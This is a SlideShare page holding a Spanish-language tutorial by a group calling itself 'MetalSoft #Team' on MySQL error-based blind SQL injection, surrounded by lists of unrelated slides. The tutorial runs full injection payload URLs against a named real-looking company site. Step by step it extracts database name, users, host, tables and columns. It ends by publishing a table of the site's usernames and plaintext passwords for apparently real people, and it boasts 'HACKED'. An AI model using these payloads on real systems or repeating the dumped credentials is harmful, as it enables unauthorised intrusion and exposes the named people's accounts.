SlideShare une entreprise Scribd logo
1  sur  6
Télécharger pour lire hors ligne
MetalSoft #Team
      [Rs4 – xDarkSton3x – FailRoot – Root-M - Trouk



¡Aviso!

El articulo mostrado a continuación, es propiedad de MetalSoft #Team , todo lo expuesto aquí
fue redactado por los usuarios del Team . El usuario lector es responsable del “USO” que le
de a la información expuesta en este mismo, MetalSoft #Team no se hace responsable.
MySQL (Error Based) Blind SQLi
En ocasiones nos encontramos con inyecciones en el que “ -1+unión+select+0” o el
“order by” no te saca el numero de columnas y no puedes realizar la inyección, pues te
aseguramos que lo primero que hacer es recurrir a una tool para que haga el trabajo.
Esto nos ha ocurrido en varias inyecciones por lo que nos hemos decidimos investigar
que otros métodos hay para este problema , con la búsqueda obtuvimos algunos
resultados pero ahora faltaba ponerlos en práctica para ver si en realidad funcionaba.

Para realizar la práctica utilizaremos

http://www.audiser.com.ar/producto.php?id=1



Buscando la Base de Datos:
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

Y como resultado dará: ERROR: --> 1062 - Duplicate entry '~'audiser_audiser2011'~1' for key
'group_key'



Obteniendo el Usuario Actual:
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

resultado: ERROR: --> 1062 - Duplicate entry '~'audiser_admin@localhost'~1' for key 'group_key'



Sacando la Version
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

Resultado: ERROR: --> 1062 - Duplicate entry '~'5.1.58-community'~1' for key 'group_key'
Base de Datos actual
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

resultado: ERROR: --> 1062 - Duplicate entry '~'audiser_audiser2011'~1' for key 'group_key'



Usuario System
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select concat(0x7e,0x27,cast(system_user() as char),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

resultado: ERROR: --> 1062 - Duplicate entry '~'audiser_admin@localhost'~1' for key 'group_key'



Hostname
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select concat(0x7e,0x27,cast(@@hostname as char),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

resultado: ERROR: --> 1062 - Duplicate entry '~'capri.dattaweb.com'~1' for key 'group_key'



Directorio de Instalación
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select concat(0x7e,0x27,cast(@@basedir as char),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

resultado: ERROR: --> 1062 - Duplicate entry '~'/'~1' for key 'group_key'
DB User
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(GRANTEE as
char),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

resultado: ERROR: --> 1062 - Duplicate entry '~''audiser_admin'@'localhost''~1' for key
'group_key'




Encontrar bases de datos
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as
char),0x27,0x7e) FROM information_schema.schemata LIMIT N,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

N se incrementa.

Resultado: ERROR: --> 1062 - Duplicate entry '~'information_schema'~1' for key 'group_key'



Numero de tablas en la DB seleccionada
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e)
FROM `information_schema`.tables WHERE table_schema=0xDB _en_Hexa)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1



http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e)
FROM `information_schema`.tables WHERE
table_schema=0x617564697365725f6175646973657232303131)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

Resultado: ERROR: --> 1062 - Duplicate entry '~'13'~1' for key 'group_key'
Nombres de las tablas en la db
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as
char),0x27,0x7e) FROM information_schema.tables Where
table_schema=0x617564697365725f6175646973657232303131 limit 12,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

Resultado: ERROR: --> 1062 - Duplicate entry '~'usuariosportal'~1' for key 'group_key'



Numero de columnas en la tabla
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT
concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns
WHERE table_schema=0x617564697365725f6175646973657232303131 AND
table_name=0x7573756172696f73706f7274616c)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Tabla y db en hexa.

Resultado: ERROR: --> 1062 - Duplicate entry '~'8'~1' for key 'group_key'



Columnas en la tabla
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as
char),0x27,0x7e) FROM information_schema.columns Where
table_schema=0x617564697365725f6175646973657232303131 AND
table_name=0x7573756172696f73706f7274616c limit 6,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

el primer limit se incrementa de 1 en 1 para obtener las columnas.

Resultado: ERROR: --> 1062 - Duplicate entry '~'Password'~1' for key 'group_key'
Numero de datos
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM
`audiser_audiser2011`.usuarios)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Resultado: ERROR: --> 1062 - Duplicate entry '~'3'~1' for key 'group_key'



Extracción de datos
http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select
count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(usuarios.user_pass as
char),0x27,0x7e) FROM `audiser_audiser2011`.usuarios LIMIT 2,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1

Resultado: ERROR: --> 1062 - Duplicate entry '~'1234'~1' for key 'group_key'



Finalmente podemos obtener los siguientes datos:

DB: 'audiser_audiser2011'

Tabla: usuarios

Columnas: user_id, user_nyap, user_pass , user_usua

Datos:

user_id |     user_nyap           | user_pass |     user_usua |

5        |   Audiser Argentina    | 1234          | audiser11 |

2        | Juan Carlos Lange | 123                | juanca     |

1        | Pablo Abadi            | 2011          | pab_audi    |



Procedemos a la búsqueda del Panel Administrativo y HACKED ..!



                                    MetalSoft #Team

Contenu connexe

Tendances

The Ring programming language version 1.5.2 book - Part 43 of 181
The Ring programming language version 1.5.2 book - Part 43 of 181The Ring programming language version 1.5.2 book - Part 43 of 181
The Ring programming language version 1.5.2 book - Part 43 of 181Mahmoud Samir Fayed
 
The Ring programming language version 1.4.1 book - Part 13 of 31
The Ring programming language version 1.4.1 book - Part 13 of 31The Ring programming language version 1.4.1 book - Part 13 of 31
The Ring programming language version 1.4.1 book - Part 13 of 31Mahmoud Samir Fayed
 
The Ring programming language version 1.9 book - Part 53 of 210
The Ring programming language version 1.9 book - Part 53 of 210The Ring programming language version 1.9 book - Part 53 of 210
The Ring programming language version 1.9 book - Part 53 of 210Mahmoud Samir Fayed
 
The Ring programming language version 1.10 book - Part 36 of 212
The Ring programming language version 1.10 book - Part 36 of 212The Ring programming language version 1.10 book - Part 36 of 212
The Ring programming language version 1.10 book - Part 36 of 212Mahmoud Samir Fayed
 
The Ring programming language version 1.5.1 book - Part 26 of 180
The Ring programming language version 1.5.1 book - Part 26 of 180The Ring programming language version 1.5.1 book - Part 26 of 180
The Ring programming language version 1.5.1 book - Part 26 of 180Mahmoud Samir Fayed
 
Python tutorial
Python tutorialPython tutorial
Python tutorialRajiv Risi
 
Airline reservation project using JAVA in NetBeans IDE
Airline reservation project using JAVA in NetBeans IDEAirline reservation project using JAVA in NetBeans IDE
Airline reservation project using JAVA in NetBeans IDEHimanshiSingh71
 
The Ring programming language version 1.7 book - Part 48 of 196
The Ring programming language version 1.7 book - Part 48 of 196The Ring programming language version 1.7 book - Part 48 of 196
The Ring programming language version 1.7 book - Part 48 of 196Mahmoud Samir Fayed
 
Tugas 3 oganisasi komputer 23510310
Tugas 3 oganisasi komputer 23510310Tugas 3 oganisasi komputer 23510310
Tugas 3 oganisasi komputer 23510310Putu Shinoda
 
Scaling MySQL Strategies for Developers
Scaling MySQL Strategies for DevelopersScaling MySQL Strategies for Developers
Scaling MySQL Strategies for DevelopersJonathan Levin
 
CSS Algorithms - v3.6.1 @ Strange Loop
CSS Algorithms - v3.6.1 @ Strange LoopCSS Algorithms - v3.6.1 @ Strange Loop
CSS Algorithms - v3.6.1 @ Strange LoopLara Schenck
 
GreenDao Introduction
GreenDao IntroductionGreenDao Introduction
GreenDao IntroductionBooch Lin
 
The Ring programming language version 1.10 book - Part 47 of 212
The Ring programming language version 1.10 book - Part 47 of 212The Ring programming language version 1.10 book - Part 47 of 212
The Ring programming language version 1.10 book - Part 47 of 212Mahmoud Samir Fayed
 
BGOUG15: JSON support in MySQL 5.7
BGOUG15: JSON support in MySQL 5.7BGOUG15: JSON support in MySQL 5.7
BGOUG15: JSON support in MySQL 5.7Georgi Kodinov
 
PHP and MySQL Tips and tricks, DC 2007
PHP and MySQL Tips and tricks, DC 2007PHP and MySQL Tips and tricks, DC 2007
PHP and MySQL Tips and tricks, DC 2007Damien Seguy
 
The Ring programming language version 1.10 book - Part 54 of 212
The Ring programming language version 1.10 book - Part 54 of 212The Ring programming language version 1.10 book - Part 54 of 212
The Ring programming language version 1.10 book - Part 54 of 212Mahmoud Samir Fayed
 

Tendances (20)

The Ring programming language version 1.5.2 book - Part 43 of 181
The Ring programming language version 1.5.2 book - Part 43 of 181The Ring programming language version 1.5.2 book - Part 43 of 181
The Ring programming language version 1.5.2 book - Part 43 of 181
 
Php forum2015 tomas_final
Php forum2015 tomas_finalPhp forum2015 tomas_final
Php forum2015 tomas_final
 
The Ring programming language version 1.4.1 book - Part 13 of 31
The Ring programming language version 1.4.1 book - Part 13 of 31The Ring programming language version 1.4.1 book - Part 13 of 31
The Ring programming language version 1.4.1 book - Part 13 of 31
 
The Ring programming language version 1.9 book - Part 53 of 210
The Ring programming language version 1.9 book - Part 53 of 210The Ring programming language version 1.9 book - Part 53 of 210
The Ring programming language version 1.9 book - Part 53 of 210
 
The Ring programming language version 1.10 book - Part 36 of 212
The Ring programming language version 1.10 book - Part 36 of 212The Ring programming language version 1.10 book - Part 36 of 212
The Ring programming language version 1.10 book - Part 36 of 212
 
The Ring programming language version 1.5.1 book - Part 26 of 180
The Ring programming language version 1.5.1 book - Part 26 of 180The Ring programming language version 1.5.1 book - Part 26 of 180
The Ring programming language version 1.5.1 book - Part 26 of 180
 
Python tutorial
Python tutorialPython tutorial
Python tutorial
 
HCE tutorial
HCE tutorialHCE tutorial
HCE tutorial
 
Airline reservation project using JAVA in NetBeans IDE
Airline reservation project using JAVA in NetBeans IDEAirline reservation project using JAVA in NetBeans IDE
Airline reservation project using JAVA in NetBeans IDE
 
The Ring programming language version 1.7 book - Part 48 of 196
The Ring programming language version 1.7 book - Part 48 of 196The Ring programming language version 1.7 book - Part 48 of 196
The Ring programming language version 1.7 book - Part 48 of 196
 
Tugas 3 oganisasi komputer 23510310
Tugas 3 oganisasi komputer 23510310Tugas 3 oganisasi komputer 23510310
Tugas 3 oganisasi komputer 23510310
 
Green dao
Green daoGreen dao
Green dao
 
Scaling MySQL Strategies for Developers
Scaling MySQL Strategies for DevelopersScaling MySQL Strategies for Developers
Scaling MySQL Strategies for Developers
 
CSS Algorithms - v3.6.1 @ Strange Loop
CSS Algorithms - v3.6.1 @ Strange LoopCSS Algorithms - v3.6.1 @ Strange Loop
CSS Algorithms - v3.6.1 @ Strange Loop
 
GreenDao Introduction
GreenDao IntroductionGreenDao Introduction
GreenDao Introduction
 
The Ring programming language version 1.10 book - Part 47 of 212
The Ring programming language version 1.10 book - Part 47 of 212The Ring programming language version 1.10 book - Part 47 of 212
The Ring programming language version 1.10 book - Part 47 of 212
 
BGOUG15: JSON support in MySQL 5.7
BGOUG15: JSON support in MySQL 5.7BGOUG15: JSON support in MySQL 5.7
BGOUG15: JSON support in MySQL 5.7
 
PHP and MySQL Tips and tricks, DC 2007
PHP and MySQL Tips and tricks, DC 2007PHP and MySQL Tips and tricks, DC 2007
PHP and MySQL Tips and tricks, DC 2007
 
The Ring programming language version 1.10 book - Part 54 of 212
The Ring programming language version 1.10 book - Part 54 of 212The Ring programming language version 1.10 book - Part 54 of 212
The Ring programming language version 1.10 book - Part 54 of 212
 
Python speleology
Python speleologyPython speleology
Python speleology
 

Similaire à Error based blind sqli

Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingChema Alonso
 
PyCon 2010 SQLAlchemy tutorial
PyCon 2010 SQLAlchemy tutorialPyCon 2010 SQLAlchemy tutorial
PyCon 2010 SQLAlchemy tutorialjbellis
 
External Language Stored Procedures for MySQL
External Language Stored Procedures for MySQLExternal Language Stored Procedures for MySQL
External Language Stored Procedures for MySQLAntony T Curtis
 
Efficient Pagination Using MySQL
Efficient Pagination Using MySQLEfficient Pagination Using MySQL
Efficient Pagination Using MySQLEvan Weaver
 
PPC2009_yahoo_mysql_pagination
PPC2009_yahoo_mysql_paginationPPC2009_yahoo_mysql_pagination
PPC2009_yahoo_mysql_paginationmysqlops
 
Indexing with MongoDB
Indexing with MongoDBIndexing with MongoDB
Indexing with MongoDBMongoDB
 
Monitoring with Prometheus
Monitoring with PrometheusMonitoring with Prometheus
Monitoring with PrometheusShiao-An Yuan
 
New SQL features in latest MySQL releases
New SQL features in latest MySQL releasesNew SQL features in latest MySQL releases
New SQL features in latest MySQL releasesGeorgi Sotirov
 
20180420 hk-the powerofmysql8
20180420 hk-the powerofmysql820180420 hk-the powerofmysql8
20180420 hk-the powerofmysql8Ivan Ma
 
Deep learning study 3
Deep learning study 3Deep learning study 3
Deep learning study 3San Kim
 
Machine Learning Algorithms
Machine Learning AlgorithmsMachine Learning Algorithms
Machine Learning AlgorithmsHichem Felouat
 
Online test program generator for RISC-V processors
Online test program generator for RISC-V processorsOnline test program generator for RISC-V processors
Online test program generator for RISC-V processorsRISC-V International
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeWim Godden
 
MySQL 8.0 New Features -- September 27th presentation for Open Source Summit
MySQL 8.0 New Features -- September 27th presentation for Open Source SummitMySQL 8.0 New Features -- September 27th presentation for Open Source Summit
MySQL 8.0 New Features -- September 27th presentation for Open Source SummitDave Stokes
 
High Performance GPU computing with Ruby, Rubykaigi 2018
High Performance GPU computing with Ruby, Rubykaigi 2018High Performance GPU computing with Ruby, Rubykaigi 2018
High Performance GPU computing with Ruby, Rubykaigi 2018Prasun Anand
 
Oracle Diagnostics : Joins - 1
Oracle Diagnostics : Joins - 1Oracle Diagnostics : Joins - 1
Oracle Diagnostics : Joins - 1Hemant K Chitale
 
Refactoring to Macros with Clojure
Refactoring to Macros with ClojureRefactoring to Macros with Clojure
Refactoring to Macros with ClojureDmitry Buzdin
 
Second Step to the NoSQL Side: MySQL JSON Functions
Second Step to the NoSQL Side: MySQL JSON FunctionsSecond Step to the NoSQL Side: MySQL JSON Functions
Second Step to the NoSQL Side: MySQL JSON FunctionsSveta Smirnova
 

Similaire à Error based blind sqli (20)

Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File Downloading
 
PyCon 2010 SQLAlchemy tutorial
PyCon 2010 SQLAlchemy tutorialPyCon 2010 SQLAlchemy tutorial
PyCon 2010 SQLAlchemy tutorial
 
External Language Stored Procedures for MySQL
External Language Stored Procedures for MySQLExternal Language Stored Procedures for MySQL
External Language Stored Procedures for MySQL
 
Efficient Pagination Using MySQL
Efficient Pagination Using MySQLEfficient Pagination Using MySQL
Efficient Pagination Using MySQL
 
PPC2009_yahoo_mysql_pagination
PPC2009_yahoo_mysql_paginationPPC2009_yahoo_mysql_pagination
PPC2009_yahoo_mysql_pagination
 
Indexing with MongoDB
Indexing with MongoDBIndexing with MongoDB
Indexing with MongoDB
 
Monitoring with Prometheus
Monitoring with PrometheusMonitoring with Prometheus
Monitoring with Prometheus
 
New SQL features in latest MySQL releases
New SQL features in latest MySQL releasesNew SQL features in latest MySQL releases
New SQL features in latest MySQL releases
 
20180420 hk-the powerofmysql8
20180420 hk-the powerofmysql820180420 hk-the powerofmysql8
20180420 hk-the powerofmysql8
 
Deep learning study 3
Deep learning study 3Deep learning study 3
Deep learning study 3
 
Machine Learning Algorithms
Machine Learning AlgorithmsMachine Learning Algorithms
Machine Learning Algorithms
 
Online test program generator for RISC-V processors
Online test program generator for RISC-V processorsOnline test program generator for RISC-V processors
Online test program generator for RISC-V processors
 
Sql analytic queries tips
Sql analytic queries tipsSql analytic queries tips
Sql analytic queries tips
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
MySQL 8.0 New Features -- September 27th presentation for Open Source Summit
MySQL 8.0 New Features -- September 27th presentation for Open Source SummitMySQL 8.0 New Features -- September 27th presentation for Open Source Summit
MySQL 8.0 New Features -- September 27th presentation for Open Source Summit
 
High Performance GPU computing with Ruby, Rubykaigi 2018
High Performance GPU computing with Ruby, Rubykaigi 2018High Performance GPU computing with Ruby, Rubykaigi 2018
High Performance GPU computing with Ruby, Rubykaigi 2018
 
Oracle Diagnostics : Joins - 1
Oracle Diagnostics : Joins - 1Oracle Diagnostics : Joins - 1
Oracle Diagnostics : Joins - 1
 
Refactoring to Macros with Clojure
Refactoring to Macros with ClojureRefactoring to Macros with Clojure
Refactoring to Macros with Clojure
 
alexnet.pdf
alexnet.pdfalexnet.pdf
alexnet.pdf
 
Second Step to the NoSQL Side: MySQL JSON Functions
Second Step to the NoSQL Side: MySQL JSON FunctionsSecond Step to the NoSQL Side: MySQL JSON Functions
Second Step to the NoSQL Side: MySQL JSON Functions
 

Error based blind sqli

  • 1. MetalSoft #Team [Rs4 – xDarkSton3x – FailRoot – Root-M - Trouk ¡Aviso! El articulo mostrado a continuación, es propiedad de MetalSoft #Team , todo lo expuesto aquí fue redactado por los usuarios del Team . El usuario lector es responsable del “USO” que le de a la información expuesta en este mismo, MetalSoft #Team no se hace responsable.
  • 2. MySQL (Error Based) Blind SQLi En ocasiones nos encontramos con inyecciones en el que “ -1+unión+select+0” o el “order by” no te saca el numero de columnas y no puedes realizar la inyección, pues te aseguramos que lo primero que hacer es recurrir a una tool para que haga el trabajo. Esto nos ha ocurrido en varias inyecciones por lo que nos hemos decidimos investigar que otros métodos hay para este problema , con la búsqueda obtuvimos algunos resultados pero ahora faltaba ponerlos en práctica para ver si en realidad funcionaba. Para realizar la práctica utilizaremos http://www.audiser.com.ar/producto.php?id=1 Buscando la Base de Datos: http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 Y como resultado dará: ERROR: --> 1062 - Duplicate entry '~'audiser_audiser2011'~1' for key 'group_key' Obteniendo el Usuario Actual: http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 resultado: ERROR: --> 1062 - Duplicate entry '~'audiser_admin@localhost'~1' for key 'group_key' Sacando la Version http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 Resultado: ERROR: --> 1062 - Duplicate entry '~'5.1.58-community'~1' for key 'group_key'
  • 3. Base de Datos actual http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 resultado: ERROR: --> 1062 - Duplicate entry '~'audiser_audiser2011'~1' for key 'group_key' Usuario System http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(system_user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 resultado: ERROR: --> 1062 - Duplicate entry '~'audiser_admin@localhost'~1' for key 'group_key' Hostname http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(@@hostname as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 resultado: ERROR: --> 1062 - Duplicate entry '~'capri.dattaweb.com'~1' for key 'group_key' Directorio de Instalación http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(@@basedir as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 resultado: ERROR: --> 1062 - Duplicate entry '~'/'~1' for key 'group_key'
  • 4. DB User http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(GRANTEE as char),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 resultado: ERROR: --> 1062 - Duplicate entry '~''audiser_admin'@'localhost''~1' for key 'group_key' Encontrar bases de datos http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 N se incrementa. Resultado: ERROR: --> 1062 - Duplicate entry '~'information_schema'~1' for key 'group_key' Numero de tablas en la DB seleccionada http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xDB _en_Hexa)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0x617564697365725f6175646973657232303131)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 Resultado: ERROR: --> 1062 - Duplicate entry '~'13'~1' for key 'group_key'
  • 5. Nombres de las tablas en la db http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x617564697365725f6175646973657232303131 limit 12,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 Resultado: ERROR: --> 1062 - Duplicate entry '~'usuariosportal'~1' for key 'group_key' Numero de columnas en la tabla http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x617564697365725f6175646973657232303131 AND table_name=0x7573756172696f73706f7274616c)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 Tabla y db en hexa. Resultado: ERROR: --> 1062 - Duplicate entry '~'8'~1' for key 'group_key' Columnas en la tabla http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x617564697365725f6175646973657232303131 AND table_name=0x7573756172696f73706f7274616c limit 6,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 el primer limit se incrementa de 1 en 1 para obtener las columnas. Resultado: ERROR: --> 1062 - Duplicate entry '~'Password'~1' for key 'group_key'
  • 6. Numero de datos http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `audiser_audiser2011`.usuarios)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 Resultado: ERROR: --> 1062 - Duplicate entry '~'3'~1' for key 'group_key' Extracción de datos http://www.audiser.com.ar/producto.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(usuarios.user_pass as char),0x27,0x7e) FROM `audiser_audiser2011`.usuarios LIMIT 2,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 Resultado: ERROR: --> 1062 - Duplicate entry '~'1234'~1' for key 'group_key' Finalmente podemos obtener los siguientes datos: DB: 'audiser_audiser2011' Tabla: usuarios Columnas: user_id, user_nyap, user_pass , user_usua Datos: user_id | user_nyap | user_pass | user_usua | 5 | Audiser Argentina | 1234 | audiser11 | 2 | Juan Carlos Lange | 123 | juanca | 1 | Pablo Abadi | 2011 | pab_audi | Procedemos a la búsqueda del Panel Administrativo y HACKED ..! MetalSoft #Team